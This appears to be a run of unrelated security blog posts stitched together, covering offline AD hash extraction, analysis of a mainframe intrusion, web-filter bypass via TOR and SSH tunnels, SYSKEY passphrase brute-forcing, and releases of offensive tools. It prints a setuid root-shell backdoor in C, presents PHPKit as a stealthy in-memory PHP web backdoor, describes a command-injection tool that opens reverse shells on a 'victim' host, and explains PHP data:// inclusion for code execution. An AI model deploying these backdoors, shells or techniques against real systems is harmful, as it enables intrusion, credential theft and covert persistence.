Just added a tool for offline Active Directory password hash extraction.
It has very basic functionality right now but much more is planned.
Command line application that runs on Windows only at the moment.
ntds_decode -s <FILE> -d <FILE> -m -i
-s <FILE> : SYSTEM registry hive
-d <FILE> : Active Directory database
-m : Machines (omitted by default)
-i : Inactive, Locked or Disabled accounts (omitted by default)
The SYSTEM registry hive and Active Directory database are from a domain controller.
These files are obviously locked so you need to backup using the Volume Shadow Copy Service.
The output format is similar to pwdump and only runs on Windows at the moment.
LM and NTLM hashes are extracted from active user accounts only.
ntds_decode mounts the SYSTEM file so Administrator access is required on the computer you run it on.
If you’re an experienced pen tester or Administrator that would like to test this tool, you can grab from here
It’s advisable you don’t use the tool unless you know what you’re doing.
Source isn’t provided at the moment because it’s too early to release.
If you have questions about it, feel free to e-mail the address provided in README.txt
Today, I acquired a copy of a report on anakata’s alleged hacking of Logica. You, too, can find a copy of it in PDF form here.
There’s a number of interesting things in this report, and I figured I would take the time to disassemble them and give a little bit of analysis on each.
The first interesting thing, which starts on the bottom of page 36, is the vast number of IPs from which the attackers came from. Out of curiosity, I did a little investigation on the boxes involved in the attacks, the jumpboxes, if you will.
Now, one of these is pretty interesting.
124.248.187.225 and 27.109.118.33 are located in Cambodia. This implies that, if it WAS anakata, he presumably just compromised wireless routers in his area and used those to launch the attacks, or else was too lazy to protect himself.
93.186.170.54 belongs to a VPS company.
The others, bar one, are all residential ranges. I took a look at them, and nothing particularly struck my fancy about them, however, they did possess dreamboxes and/or some rather esoteric webservers, so my guess would be either default credentials or really, really bad code led to their compromises.
Now, what grabs my attention is 202.120.189.223, and here is why:
This was a z/OS mainframe belonging to Tongji University in China, one of the most respected universities in the country (although it is now offline). So, this brings the total number of hacked mainframes up to 3.
I’m just speculating here, but I would imagine that owing to the difficulty in transferring and working with files from UNIX to z/OS (even with Unix System Services and FTP), that Chinese mainframe probably existed as both storage for the tools used in the Logica hack, and as a development environment. I’m frankly very curious as to how, exactly, these mainframes were so easily broken into, but I have some suspicions.
RACF, which is one of two competing “user management systems” for z/OS (the other being ACF2), has a number of interesting… quirks, including a limit on password length (8 characters), and the fact that the superuser account shipped by default cannot be completely removed; trying to attempt so may seem successful, but will result in it being quietly restored later. I have a few other theories, including the possibility of credential reuse and easily enumerated accounts (RACF conveniently tells you if a username doesn’t exist on the system), but unfortunately most of these aren’t concrete. Additionally, the main methods of egress seem to have been FTP and SSH, with little to no login failures reported, in which case it is worth assuming that the credentials may have been gathered from elsewhere, ie a compromised webserver.
Anyway, as I said, this is just conjecture, and not solid facts.
Another interesting thing that is worth pointing out is the nature of the majority of the backdoor tools. Take a look at the following code:
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
setuid(0);
setgid(0);
setgroups(0, NULL);
execl("/bin/sh", "sh", NULL);
}
That’s incredibly, incredibly simple C. I’m not a C programmer, and even I could write that. But there’s a wonderful elegance about it. Why waste time with a tremendously technical backdoor tool when the simplest thing, a setuid wrapper for a shell, works just as well?
That said, there are also far more technical and clever tools deployed, including one written in Z/arch HLasm. Dabbling in C, assembly, and other languages seems rather adventurous, so, with the warning that it’s just speculation, I’d imagine that this was a group of people familiar with mainframe development, not just one developer.
The other tools, go.rx and kurwa, are interesting, too. Based on the strings shown from them, they’re probably rexx scripts (rexx is the equivalent of Perl on UNIX). If the giant /* REXX */ didn’t inform you. What is interesting is that they are apparently exploiting a previously unknown privilege escalation vulnerability, as well as adding yet another language to the list used.
There are also less technical backdoors, for example, changing SSH keys to ensure access later, and altering inetd.conf to accomplish the same thing.
So, now that we’ve taken a look at this, I’d like to comment on what seems, to me, to be paradoxical and/or stupid.
There are only two mainframes, yet a fairly bewildering range of techniques was deployed, with tools written in at least three different programming languages. This right here is terrible opsec, and a terrible waste. Adding multiple backdoors is risky, because you can’t gain MORE access; once you’ve got a backdoor in place you’ve got a backdoor, but you’re leaving more things around that a curious system administrator might stumble upon. As well as that, the more varied the tools and techniques, the more obvious it’s a large and diverse group. It would have been wiser to agree on a list of public tools and simple code that could have been easily ported to z/OS. It just seems weird that everyone was deploying their own toolkit; if these were made specifically for this attack, that’s quite an amount of time to spend.
Still, it’s a fascinating story. Mainframe security doesn’t get nearly enough coverage, and IBM’s z/OS has survived through a lack of scrutiny; security through obscurity.
Today, 20th of March 2013, I went into college as per normal, and tried accessing this site to upload a new post (which is now in drafts, I will publish it over the weekend). Anyway, I ran straight into this:
Me, blocked.
I, quite naturally, became quite irate. I had missed my morning cup of coffee due to a delayed bus, and now this. Blocked. Censored. Denied.
I had gotten used to seeing this “page” quite often, as my web browsing habits (Security websites) tend to get flagged as “hacking” and suchlike. However, seeing my site blatantly blacklisted as a “malicious website”, i.e. one which slings malware at its viewers, was a step too bloody far.
After a slight rage-fest on twitter, and several angry emails sent to various responsible persons (all of whom denied any responsibility so far, cowards!) I decided the best course of action would be publishing a guide on getting around these shitty web filters. As it so happens, Fortinet has a bigger gaping hole, than, well, Goatse.
Generally speaking, the best way around any of this crap, is to tunnel right through them. I shall outline the methods I have used with the most success over the last few months of putting up with this nonsense.
TOR – The Onion Router.
So, the last few posts concentrated on getting you TOR set up, and are linked at the bottom of this post. There is a very valid reason for this, and it is rather simple.
Fortinet “FortiGard” has no bloody clue what TOR is, and does not block it. I can surf freely all day long without seeing a single “blocked” page, provided I am willing to tolerate severely throttled speeds and “the lag of TOR” during the connecting phase.
So, if you are stuck behind a Fortinet, TOR up! It is beneficial to your internet-health anyway! It makes you less traceable!
Now, if they have blocked TOR, the following tricks will work:
SSH tunnels to port 443.
For a free shell that supports SSH to port 443, go to CJB.NET Shells
If, for some reason, even that fails… Let me know! I have had some luck with DNS tunnelling also.
So, in conclusion: Fortinet is trivial to bypass, you can do it blindfolded.
I almost thought a Torbutton install post was pointless, until I realized a lot of people still manage to screw it up.
Somehow. I have no idea exactly how…
Anyways, onward! I will assume you have read http://insecurety.net/?p=847 and http://insecurety.net/?p=842 and gotten TOR working for you.
The following works on any platform once TOR/Vidalia is installed. TORbutton makes irreversable changes to Firefox, so you should install Firefox specifically for this!
In Firefox navigate to torproject.org/torbutton
Click the install link near bottom of page. The one that reads “Expert Install” “Install from this page”
Allow it to do voodoo magic.
torbutton install
Once Torbutton installs and Firefox restarts, navigate to check.torproject.org
It Works!
If you are seeing this, it clearly worked and you are good to go! Now onward we go!
Seeing as Ubuntu is one of the most commonly used Linux distros around, and because I cannot be bothered getting a Fedora .iso, and because these instructions work fine for Debian also, here goes! (yes, in the images I am using BT5, which is basically Ubuntu)
To get your distribution name, the command “lsb_release -c” will tell you. This is important.
First off, add the appropriate repository to your /etc/apt/sources.list file.
sudo apt-get update to refresh your package lists…
Update Package List
Now we install the torproject keyring.
apt-get install deb.torproject.org-keyring
Installing Keyring
Install TOR itself and the Vidalia GUI… It will prompt to add a user to the group so select your username!!!
apt-get install vidalia tor polipo
Installing TOR
Now, we check is Vidalia working OK or are we already fscked. By running it.
Vidalia Works
If it looks like that, you are good to go Again, as per http://insecurety.net/?p=842 , just set proxy settings in your browser to use 127.0.0.1 and 9050 as the port and you should be good to go!
Next up: Installing TORbutton
The observant ones will note the dates on the screenshots are old: I had originally made this guide for some friends who wanted it, and then I decided to publish it openly because, reasons.
/*
This is part one of a multipart posting series that’s gonna go on all evening before el grande finale of using TOR and suchlike to bypass Fortinet Web Filters and other such bullshit censorship warez. The two TOR install posts will go up first, followed by the ranty bypassing one, then some other stuff :3
Please note, these installation guides are for non technical people in a sense, I literally try hold the users hand as much as possible…
*/
Well, if anyone here is as paranoid as I am, they probably wonder how the hell they can prevent their online activities from being traced back to them. So, in the interest of helping others anonymize their online presence, I have decided to knock up a few simple enough guides on installing and using various pieces of anonymity software, starting with the TOR bundle for Windows.
So. You should navigate yourself to torproject.org, and go to the downloads section.
Downloading TOR
Assuming you installed Firefox ages back (I hope to god ye arent using IE…) install the Vidalia bundle. Just download it, run the executable file, tick all the boxes (i.e. full install) and fire ahead. It will pop during the install.
Installing Vidalia Bundle
Finally, let TOR run, and you should see the following after up to two minutes or so:
TOR is now running
Bingo. That is TOR installed and running, and as you can see, it is VERY simple to use. To make it work with Firefox for anonymized browsing: Edit -> Preferences -> Advanced -> Network -> Settings -> Set proxy as: SOCKS5 (type), and 127.0.0.1 as IP and 9050 as port. I don’t think I can get much more simple than that.
I stumbled upon some forum posts related to System Key recently and read something about 1 of the authentication modes available to Administrators that made me wonder if true or not.
Just to note, there are 3 modes.
Generated by passphrase
Stored in registry
Stored on removable storage device
2 is enabled by default, but you can change this with the syskey.exe utility.
The claim was that if you forgot the passphrase or “startup password” there’s no reliable method of recovery. The “only way” to get back into the system is to restore a backup if one is available or disable completely using something like ntpasswd
In most cases, either way is probably sufficient enough, but there are situations where you would need to know the original passphrase and don’t have a backup available or perhaps you can’t even use a backup which could erase some critical information required.
There are a number of ways to recover the passphrase but I’ll just suggest one for now.
Found this short video which shows someone enabling the startup password
One of the the comments is “BOSS HOW WE HACK SYSKEY!!!”
History of SYSKEY
SYSKEY was Microsoft’s response to pwdump and L0phtCrack.
It was provided as an optional security enhancement with Windows NT SP3 and enabled by default since the release of Windows 2000.
The purpose of this feature was to prevent pwdump working without modifications. Open source offline decryption tools didn’t surface until the release of samdump2 by Nicola Cuomo.
What follows is a short timeline of events related to SYSKEY.
March 1997
Samba developer Jeremy Allison publishes pwdump which enables Administrators to dump LM and NTLM hashes stored in the SAM database.
April 1997
L0pht publishes L0phtcrack which allows Administrators to audit password hashes. It had been in development since the release of pwdump.
May 1997
Microsoft publishes Service Pack 3 for Windows NT which added SYSKEY as an optional feature to prevent pwdump working properly.
December 1999
Todd Sabin documents flaw with SYSKEY. Anyone with access to the SAM database can reveal password hashes without the System key.
April 2000
Todd Sabin releases pwdump2 which dumps password hashes with the obfuscation removed. This also dumps hashes from a domain controller.
February 2004
Nicola Cuomo documents SYSKEY, Releases Samdump2 which enables offline decryption of password hashes stored in SAM database.
Password Generation
When the system boots and auth mode 1 is enabled, windows will display a dialog box waiting for you to enter the password. The following text is displayed on an XP system.
“This computer is configured to require a password in order to start up. Please enter the Startup Password below.”
Blank passwords are acceptable so whether you enter something or not, it gets processed with MD5 and authenticated once you hit OK.
Enter the wrong password 3 times and you’ll receive the following error.
“System error: Lsass.exe”
“When trying to update a password the return status indicates that the value provided as the current password is not correct.”
This message appears because the LSA database key fails to decrypt but I wanted to know how exactly this password was authenticated.
Between XP and Vista, the LSA database got a major upgrade so you may see something else on post-XP systems.
If you were to attempt recovery through the LSA database, it would not only be much slower, it’s more complicated and because there’s a simpler way, I’m not going to cover it.
SAM Database
The SAM database is stored in %SystemRoot%\System32\config\SAM which as you probably know contains local user and group information, including encrypted NTLM/LM hashes.
Windows reads the value of F under SAM\Domains\Account and using the System key, decrypts the Sam key.
The structure of the F value isn’t documented but I’ve put together what I *think* is close enough to the original based on some MSDN documentation and analyzing code in SAMSRV.DLL which is where the decryption occurs.
NOTE: The strings didn’t format well for the blog but if you plan on using, let me know.
As you can see above, the Sam key is decrypted using System key and then a checksum is generated and compared with that stored in SAM_KEY_DATA
If they match, authentication succeeded, return STATUS_SUCCESS else STATUS_WRONG_PASSWORD
That’s pretty much how you can brute force the System Key when auth mode 1 is selected.
Recovery
Assuming you can read the F value from SAM hive, recovery is straight forward enough with the right libraries/code.
Following is just some pseudo code to demonstrate flow of recovery using dictionary attack.
sam = openfile("offline_system\Windows\config\SAM");
data = readreg(sam, "SAM\Domains\Account", "F")
words = openfile("dictionary.txt")
while (readfile(words, pwd)) {
pwd2key(pwd, syskey)
if (DecryptSamKey(data->keys[0], syskey) == STATUS_SUCCESS) {
print "Found password: " + pwd
break;
}
}
closefile(words)
closefile(sam)
LSA and NTDS algorithms call a hash function 1000 times during creation
of the encryption/decryption key while SAM algorithm doesn’t use any.
It’s not a vulnerability but could be useful to know some day.
This is the (about bloody time too) release of the “PHPKit” PHP backdooring tool I was working on in my free time over the past while.
phpkit
While not as advanced as “proper” web backdoors such as “weevely”, or “webhandler”, I feel PHPkit is something “interesting” to say the least.
Unlike most PHP backdoors, phpkit’s trojan contains no unusual function calls like “System” or “eval”. The only things it does are an ini_set and “include”. All “suspicious” PHP calls are made at runtime in-memory
This, I feel, makes it have a far smaller footprint on the target server. All payloads are sent as raw PHP in raw POST requests, where php://input passes them to the “include” function. It uses ini_set to attempt to enable allow_url_include if such is disabled, but I am working on a better workaround at the moment than this.
Likely something to do with fopen and suchlike… Will figure it out for the next version
I actually got the idea to write this from when I was writing an exploit for the PHP-CGI bug, as shown here: http://insecurety.net/?p=705
This tools “shell” is somewhat rudimentary, in that it (unlike Weevely), does not store CWD, etc. It simply executes commands, which is what I designed it to do. It does, however, have a rather nice file upload stager, which I was rather happy with.
It is reasonably reliable for an experiment, and certainly is interesting in that the evil code is ran entirely in memory
Anyways, enough talking about how awesome it is (it really is not that awesome ), time for some demos and useage.
So, obviously you have placed odd.php on the target server somewhere, somehow. What next?
Well, the only mandatory argument is –url=’URL’, where the URL is the URL to the odd.php file (or whatever you called it). By default, the tool will attempt code execution and pop you a shell if possible.
If not possible, it simply exits.
The –mode operator allows you to choose what mode you want to use. By default, the “SHELL” mode is chosen, however “UPLOAD” is another option. If you choose “UPLOAD”, you must specify a local and remote file.
To specify the local file (File to upload), use –lfile=”PATH TO FILE”
To specify where to write the file, use –rfile=”PATH TO PLACE FILE”
This should upload the file cleanly and rapidly, allowing you to move on with the pwning of things.
Here is a screenshot of it in shell mode
Shell Mode
And here is a screenshot of file uploading.
phpkit upload mode
Well, that’s all for now. As you can see, it is more of an experiment than a real software by any stretch of the imagination, however, if you find it useful let me know
So, you might remember my short writeup on exploiting command injection vulnerabilities - http://insecurety.net/?p=403 - and note that the tool used, GWEE, was a bit outdated and often would not compile correctly on modern versions of Linux using GCC.
Had you ever messed with the tool, you might also notice one of the authors was Sabu, so as a matter of principle, I was going to avoid using it whenever possible.
So, many attempts were made at re-implementing the tool in Python, most of them absolute failures, totally rubbish, or otherwise “clunky” and inelegant.
Anyways, much messing about later, I stumbled across a piece of code by @LaNMaSteR53 named “rce.py”. You can download it here: rce.py (the original one).
My main problem when writing my implementations (prior to seeing LaNMaSteR53′s implementation) was handling the POST data. How the hell would I get it from the commandline to the tool itself without having the user editing some config file of some kind. To me, this was a major stumbling block.
So, when I saw Tim’s implementation, passing it “just like a GET, but telling the parser it was POST”, I had to borrow it. A quick bit of replacing the urllib stuff with requests.get and requests.post, and I had a decent base to build from.
While the retooled version of rce.py itself was pretty cool as it was, I felt it could be taken a lot further. The original beta had built in reverse shells (12 or so varieties), however it tended to crash and such a lot. No error handling whatsoever, and some of the payloads simply failed to function at all.
Eventually, I wrote the “payloads” module. A slimmed down version of it is included in the wee.tar.bz2 archive, as I have not finished the thing yet. Currently the public release contains only a python reverse shell, however it is extremely easy to expand upon.
Anyway, on with the show.
we.py has only one mandatory arguement, the –url arg. You simply (for a GET request, the default), put in –url=’http://victim.com/vuln?vuln=<rce>&otherparams=otherparams’
For a POST request, you put them in just like a GET request, and specify –method=post as an argument to tell the tool to parse them as POST parameters.
By default, it gives you the “rce.py” style inline shell prompt. However, using the –shell argument, you can specify it to use a reverse shell instead like so: –shell=reverse.
By default, the reverse shell will use 127.0.0.1 and 4444 as its lhost and lport, so you can change this with –lhost=LHOST and –lport=LPORT.
So, here is a screenshot of it in action:
Poppin’ shells
This tool is still being developed, so report any bugs you find in it and make suggestions
This is a reasonably old remote code execution trick that I was actually unaware of until recently, when I stumbled across it by accident. I have been heavily researching various ways to go from a file inclusion bug to a remote code execution bug, and this one really got me interested.
As we previously mentioned in the I expect:// a shell post, you can use certain PHP streams to execute code via a file inclusion vulnerability. This one does not require any PHP extensions to be installed, unlike the expect:// trick, and relies solely on allow_url_include to be enabled, which sadly is becoming a rarity these days.
How this works is simple. PHP has a data:// stream, which can decode and accept data. If you insert some PHP code into this stream and include() it, the code will be executed. Rather simple, and rather effective too. I will cover php://input in a follow up post, and then post my findings on abusing FindFirstFile.
Essentially, instead of including /etc/passwd or a remote file, you simply include the following. data://text/plain;base64,PAYLOAD_GOES_HERE
Where the payload is base64 encoded PHP code to be executed. I choose to base64 encode the payload to avoid some problems I ran into with whitespace and longer payloads.
Now, obviously this would be no fun without a simple proof of concept tool to demonstrate the vulnerability. The following tool is under serious redevelopment at the moment, so it only spawns a bind shell at the moment. Next version will offer several payloads (I am working on a generic payload library for this kind of thing).